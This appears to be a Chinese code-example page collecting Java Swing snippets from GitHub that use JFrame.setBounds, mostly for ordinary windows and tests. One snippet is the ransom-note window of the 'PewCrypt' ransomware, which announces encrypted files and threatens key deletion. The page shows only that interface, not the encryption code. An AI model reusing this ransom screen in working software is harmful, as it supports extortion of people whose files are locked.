下面列出了javax.swing.JFrame#setBounds ( ) 实例代码,或者点击链接到github查看源代码,也可以在右侧发表评论。
private void createGUI() {
frame = new JFrame("MyController");
// create space for 4 agents
frame.getContentPane().setLayout(new GridLayout(NBAG/2,NBAG/2));
for (int i=0; i<NBAG; i++) {
panels[i] = new JTextPane();
panels[i].setEditable(false);
panels[i].setContentType("text/html");
frame.getContentPane().add(panels[i]);
}
Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize();
frame.setBounds(0, 0, screenSize.width, screenSize.height);
frame.setVisible(true);
}
/**
*
* @param args
* @throws Exception
*/
public static void main ( String[] args ) throws Exception {
JFrame testFrame = new JFrame();
testFrame.setBounds( 400, 400, PANEL_WIDTH, PANEL_HEIGHT + 25 );
testFrame.setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
ValueModel valueModel = new ValueModel( //
//
"test", //
new BigDecimal( 12345.67890 ), //
"ABS", //
new BigDecimal( 0.987654321 ), BigDecimal.ZERO );
AbstractValueModelView testView = new ValueModelViewNotEditable( valueModel);
testView.setBorder( new LineBorder( Color.red ) );
testFrame.add( testView );
testFrame.setVisible( true );
}
/**
*
* @param args
* @throws Exception
*/
public static void main ( String[] args ) throws Exception {
JFrame testFrame = new JFrame();
testFrame.setBounds( 400, 400, 600, 300 );
testFrame.setDefaultCloseOperation( javax.swing.WindowConstants.EXIT_ON_CLOSE );
ValueModel[] valueModels = new MineralStandardUPbRatioModel[5];
for (int i = 0; i < 5; i ++) {
valueModels[i] = new MineralStandardUPbRatioModel( "test " + i );
}
AbstractValueModelsPanelView testView = new MineralStandardUPbRatiosPanelViewNotEditable( valueModels);
testView.setBorder( new LineBorder( Color.red ) );
testFrame.add( testView );
testFrame.setVisible( true );
}
/**
* 创建报表窗口
*/
public static void createChartFrame(String materialsId, String year, int month1, int month2){
JFrame frame = new JFrame("大图查看");
frame.setLocationRelativeTo(null);
frame.add(getChartPanel(materialsId, year, month1, month2));
frame.setBounds(0, 0, Toolkit.getDefaultToolkit().getScreenSize().width, Toolkit.getDefaultToolkit().getScreenSize().height - 100);
frame.setVisible(true);
}
private static void createAndShowUI() {
frame = new JFrame();
frame.setBounds(10, scrTop + 10, 300, 100);
JPanel panel = new JPanel();
panel.setBackground(color);
frame.getContentPane().add(panel);
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setVisible(true);
}
private void createUI() {
JFrame frame = new JFrame("Charts Test");
frame.getContentPane().add(support.getChart());
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setBounds(100, 200, 800, 600);
frame.setVisible(true);
}
public static void main(final String[] args) throws Exception {
final JFrame frame = new DrawBitmaskToSurfaceTest();
frame.setBounds(10, 350, 200, 200);
frame.setVisible(true);
Thread.sleep(2000);
System.err.println("Change frame bounds...");
latch = new CountDownLatch(1);
frame.setBounds(10, 350, 90, 90);
frame.repaint();
try {
if (latch.getCount() > 0) {
latch.await();
}
} catch (InterruptedException e) {
}
frame.dispose();
if (theError != null) {
throw new RuntimeException("Test failed.", theError);
}
System.err.println("Test passed");
}
public static void main(final String[] args) throws Exception {
final JFrame frame = new DrawBitmaskToSurfaceTest();
frame.setBounds(10, 350, 200, 200);
frame.setVisible(true);
Thread.sleep(2000);
System.err.println("Change frame bounds...");
latch = new CountDownLatch(1);
frame.setBounds(10, 350, 90, 90);
frame.repaint();
try {
if (latch.getCount() > 0) {
latch.await();
}
} catch (InterruptedException e) {
}
frame.dispose();
if (theError != null) {
throw new RuntimeException("Test failed.", theError);
}
System.err.println("Test passed");
}
private static void createAndShowUI() {
frame = new JFrame();
frame.setBounds(10, scrTop + 10, 300, 100);
JPanel panel = new JPanel();
panel.setBackground(color);
frame.getContentPane().add(panel);
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setVisible(true);
}
/**
* Creates a window.
*
* @return a window.
*/
private JFrame createWindow() {
JFrame window = new JFrame("Data Collection Application");
window.setBounds(100, 100, 1000, 700);
window.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
window.getContentPane().setLayout(new BorderLayout(0, 0));
window.addWindowListener(new WindowAdapter() {
@Override
public void windowClosing(WindowEvent windowEvent) {
super.windowClosing(windowEvent);
map.dispose();
}
});
return window;
}
public static void main(final String[] args) throws Exception {
final JFrame frame = new DrawBitmaskToSurfaceTest();
frame.setBounds(10, 350, 200, 200);
frame.setVisible(true);
Thread.sleep(2000);
System.err.println("Change frame bounds...");
latch = new CountDownLatch(1);
frame.setBounds(10, 350, 90, 90);
frame.repaint();
try {
if (latch.getCount() > 0) {
latch.await();
}
} catch (InterruptedException e) {
}
frame.dispose();
if (theError != null) {
throw new RuntimeException("Test failed.", theError);
}
System.err.println("Test passed");
}
/**
* Creates a window.
*
* @return a window.
*/
private JFrame createWindow() {
JFrame window = new JFrame("Drive Time Geoprocessing Application");
window.setBounds(100, 100, 1000, 700);
window.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
window.getContentPane().setLayout(new BorderLayout(0, 0));
window.addWindowListener(new WindowAdapter() {
@Override
public void windowClosing(WindowEvent windowEvent) {
super.windowClosing(windowEvent);
map.dispose();
}
});
return window;
}
public Screen5250 startSession(String name) {
JFrame frame = new JFrame();
String args[] = new String[15];
parseArgs((String) sesprops.get(name), args);
Properties fin = convertToProps(args);
Session5250 newses = manager.openSession(fin, null, name);
SessionPanel newGui = new SessionPanel(newses);
frame.getContentPane().add(newGui);
frame.setBounds(50, 50, 960, 700);
frame.setVisible(true);
newses.connect();
return newses.getScreen();
}
private
static
JFrame
createSplash()
{
JFrame splash = new JFrame();
// Build frame.
splash.setBounds(createCenteredScreenBounds(350, 85));
splash.setContentPane(new Panel());
splash.setResizable(false);
splash.setUndecorated(true);
return splash;
}
@Override
public void actionPerformed(ActionEvent e) {
JFrame frame = new JFrame();
JTable table = new JTable(new WorldModel());
table.getColumnModel().getColumn(0).setCellRenderer(new TooltipCellRenderer());
table.setBounds(50, 50, 1000, 800);
frame.add(new JScrollPane(table));
frame.setBounds(100, 100, 900, 900);
frame.setVisible(true);
}
/**
* Creates a window.
*
* @return a window.
*/
private JFrame createWindow() {
JFrame window = new JFrame("Cluster Layer Application");
window.setBounds(100, 100, 1000, 700);
window.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
window.getContentPane().setLayout(new BorderLayout(0, 0));
window.addWindowListener(new WindowAdapter() {
@Override
public void windowClosing(WindowEvent windowEvent) {
super.windowClosing(windowEvent);
map.dispose();
}
});
return window;
}
/**
* Initialise the contents of the frame.
*/
private void initialize() {
byte[] imageBytes = DatatypeConverter.parseBase64Binary(imgB64);
try {
img = ImageIO.read(new ByteArrayInputStream(imageBytes));
} catch (IOException e1) {
e1.printStackTrace();
}
frmYourFilesHave = new JFrame();
frmYourFilesHave.setResizable(false);
frmYourFilesHave.setIconImage(img);
frmYourFilesHave.setTitle("PewCrypt");
frmYourFilesHave.setType(Type.POPUP);
frmYourFilesHave.getContentPane().setBackground(Color.BLACK);
frmYourFilesHave.setBounds(100, 100, 1247, 850);
frmYourFilesHave.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frmYourFilesHave.getContentPane().setLayout(null);
txtYourFilesHave = new JTextField();
txtYourFilesHave.setBounds(0, 0, 1215, 45);
txtYourFilesHave.setHorizontalAlignment(SwingConstants.CENTER);
txtYourFilesHave.setBackground(Color.BLACK);
txtYourFilesHave.setForeground(Color.RED);
txtYourFilesHave.setEditable(false);
txtYourFilesHave.setText("Your Files Have Been Encrypted!");
frmYourFilesHave.getContentPane().add(txtYourFilesHave);
txtYourFilesHave.setColumns(10);
JTextArea Instructions = new JTextArea();
Instructions.setBounds(0, 242, 1215, 203);
Instructions.setEditable(false);
Instructions.setFont(new Font("Monospaced", Font.PLAIN, 18));
Instructions.setBackground(Color.BLACK);
Instructions.setForeground(Color.RED);
Instructions.setText(
"Your files have been encrypted using a 256 bit AES key which has been encrypted with a 2048 bit RSA key\r\nIn order to get your files back read the instructions bellow\r\n\r\nInstructions:\r\r\n - Subscribe to Pewdiepie (Hint: Hit the bro fist)\r\r\n - Wait until Pewdiepie reaches 100 million subs at which point a decryption tool will be realseaed\r\r\nIf T-Series beats Pewdiepie THE PRIVATE KEY WILL BE DELETED AND YOU FILES GONE FOREVER!");
frmYourFilesHave.getContentPane().add(Instructions);
progressBarPEW.setMaximum(100000000);
progressBarPEW.setForeground(new Color(0, 153, 204));
progressBarPEW.setToolTipText("Pewdiepie Sub Progress Bar");
progressBarPEW.setBackground(Color.DARK_GRAY);
progressBarPEW.setBounds(0, 85, 1215, 50);
frmYourFilesHave.getContentPane().add(progressBarPEW);
progressBarT.setMaximum(100000000);
progressBarT.setForeground(new Color(204, 0, 0));
progressBarT.setToolTipText("T-Series Sub Progress Bar");
progressBarT.setBackground(Color.DARK_GRAY);
progressBarT.setBounds(0, 186, 1215, 50);
frmYourFilesHave.getContentPane().add(progressBarT);
JButton btnNewButton = new JButton(new ImageIcon(img));
btnNewButton.setBackground(Color.BLACK);
btnNewButton.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent arg0) {
try {
// open Pewdiepie channel
Desktop.getDesktop().browse(new URI("https://www.youtube.com/channel/UC-lHJZR3Gqxm24_Vd_AJ5Yw"));
} catch (IOException | URISyntaxException e) {
e.printStackTrace();
}
}
});
btnNewButton.setBounds(491, 485, 241, 249);
btnNewButton.setBorderPainted(false);
btnNewButton.setFocusPainted(false);
btnNewButton.setContentAreaFilled(false);
frmYourFilesHave.getContentPane().add(btnNewButton);
lblPewdiepie.setHorizontalAlignment(SwingConstants.CENTER);
lblPewdiepie.setForeground(Color.RED);
lblPewdiepie.setBounds(0, 47, 1215, 33);
frmYourFilesHave.getContentPane().add(lblPewdiepie);
lblT.setHorizontalAlignment(SwingConstants.CENTER);
lblT.setForeground(Color.RED);
lblT.setBounds(0, 144, 1215, 33);
frmYourFilesHave.getContentPane().add(lblT);
}
public void validateScreenCapture() throws AWTException {
Robot robot = new Robot();
outputControlPanel = new JPanel(layout);
GridBagConstraints ogbc = new GridBagConstraints();
MultiResolutionImage image
= robot.createMultiResolutionScreenCapture(inputImageFrame.getBounds());
List<Image> imageList = image.getResolutionVariants();
int size = imageList.size();
BufferedImage lowResImage = (BufferedImage) imageList.get(0);
BufferedImage highResImage = (BufferedImage) imageList.get(1);
outputImageFrame = new JFrame("Output");
outputImageFrame.getContentPane().setLayout(new GridBagLayout());
ogbc.gridx = 0;
ogbc.gridy = 0;
ogbc.fill = GridBagConstraints.HORIZONTAL;
outputControlPanel.add(new JLabel(new ImageIcon(lowResImage)), ogbc);
int width = lowResImage.getWidth();
int height = lowResImage.getHeight();
JLabel labelImg1 = new JLabel("LEFT:Width: " + width
+ " Height: " + height);
ogbc.gridx = 0;
ogbc.gridy = 1;
outputControlPanel.add(labelImg1, ogbc);
ogbc.gridx = 1;
ogbc.gridy = 0;
outputControlPanel.add(new JLabel(new ImageIcon(highResImage)), ogbc);
width = highResImage.getWidth();
height = highResImage.getHeight();
JLabel labelImg2 = new JLabel("RIGHT:Width: " + width
+ " Height: " + height);
ogbc.gridx = 1;
ogbc.gridy = 1;
outputControlPanel.add(labelImg2, ogbc);
outputControlPanel.setBackground(Color.GRAY);
outputImageFrame.add(outputControlPanel);
outputImageFrame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
outputImageFrame.setBounds(600, 0, 400, 300);
outputImageFrame.setLocationRelativeTo(null);
outputImageFrame.setVisible(true);
}
/**
* Initialize the contents of the frame.
*/
private void initialize()
{
m_frame = new JFrame();
m_frame.setBounds(100, 100, 900, 451);
m_frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
m_frame.getContentPane().setLayout(new GridLayout(1, 0, 0, 0));
final FileChooserModel fileChooserModel = new FileChooserModel();
final FileChooserController fileChooserController = new FileChooserController(fileChooserModel);
@SuppressWarnings("unused")
FileChooserView fileChooserView = new FileChooserView(m_frame, fileChooserModel);
fileChooserModel.setExtensions("mpp");
JMenuBar menuBar = new JMenuBar();
m_frame.setJMenuBar(menuBar);
JMenu mnFile = new JMenu("File");
menuBar.add(mnFile);
JMenuItem mntmOpen = new JMenuItem("Open");
mnFile.add(mntmOpen);
//
// Open file
//
mntmOpen.addActionListener(new ActionListener()
{
@Override public void actionPerformed(ActionEvent e)
{
fileChooserController.openFileChooser();
}
});
final JTabbedPane tabbedPane = new JTabbedPane(SwingConstants.TOP);
m_frame.getContentPane().add(tabbedPane);
PropertyAdapter<FileChooserModel> adapter = new PropertyAdapter<>(fileChooserModel, "file", true);
adapter.addValueChangeListener(new PropertyChangeListener()
{
@Override public void propertyChange(PropertyChangeEvent evt)
{
File file = fileChooserModel.getFile();
tabbedPane.add(file.getName(), new MppFilePanel(file));
}
});
}
public void setUp() throws Exception {
super.setUp();
Lookup.getDefault();
prepareTest(new String[] {
"/org/netbeans/modules/editor/resources/layer.xml",
"/META-INF/generated-layer.xml",
"/org/netbeans/modules/defaults/mf-layer.xml",
},
new Object[0]);
// hack:
MimeLookup.getLookup("").lookup(FoldHierarchyMonitor.class);
env = new FoldHierarchyTestEnv(new FoldManagerFactory() {
@Override
public FoldManager createFoldManager() {
return fm = new FM();
}
});
pane = env.getPane();
env.getPane().setEditorKit(new Kit());
env.getDocument().insertString(0, "123456789-123456789-123 aa 89-123456789-1234567890", null);
// ensure initialized
env.getHierarchy();
// cannot be done in FoldManager, as setEditorKit() will replace document and reinitialize folds in 2nd thread, which may
// complete even faster than insertString(), so BLE could be thrown.
FoldHierarchyTransaction tran = fm.op.openTransaction();
fm.op.addToHierarchy(
FT,
"",
true,
10,
40,
1, 1,
null,
tran);
tran.commit();
fold = FoldUtilities.findOffsetFold(env.getHierarchy(), 25);
// get x/y of the folded part:
JFrame fr = new JFrame("test");
fr.setBounds(0, 0, 400, 100);
fr.add(pane);
fr.setVisible(true);
delegate = (Callable<Boolean>)pane.getClientProperty("org.netbeans.api.fold.expander");
pane.putClientProperty("org.netbeans.api.fold.expander", new Callable<Boolean>() {
public Boolean call() throws Exception {
return retValue = delegate.call();
}
public boolean equals(Object o) {
return retValue = delegate.equals(o);
}
});
pane.requestFocus();
selectWordCalled = false;
}